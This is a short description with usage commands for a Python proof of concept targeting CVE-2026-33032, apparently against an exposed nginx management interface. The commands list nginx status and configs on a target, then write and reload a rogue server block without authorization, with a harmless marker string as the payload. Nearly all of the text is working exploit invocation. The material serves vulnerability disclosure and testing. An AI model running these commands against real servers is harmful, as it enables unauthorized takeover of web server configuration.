
Python proof-of-concept for CVE-2026-33032 that inspects nginx status and configs, then demonstrates unauthorized config write with reload to deploy a rogue server block.
python3 main.py http://target:9000 --tool nginx_status
python3 main.py 10.0.0.50 --tool nginx_config_list
python3 main.py http://target:9000 \
--tool nginx_config_add \
--payload poc.conf \
--content 'server { listen 8443; return 200 "MCPwned\n"; }'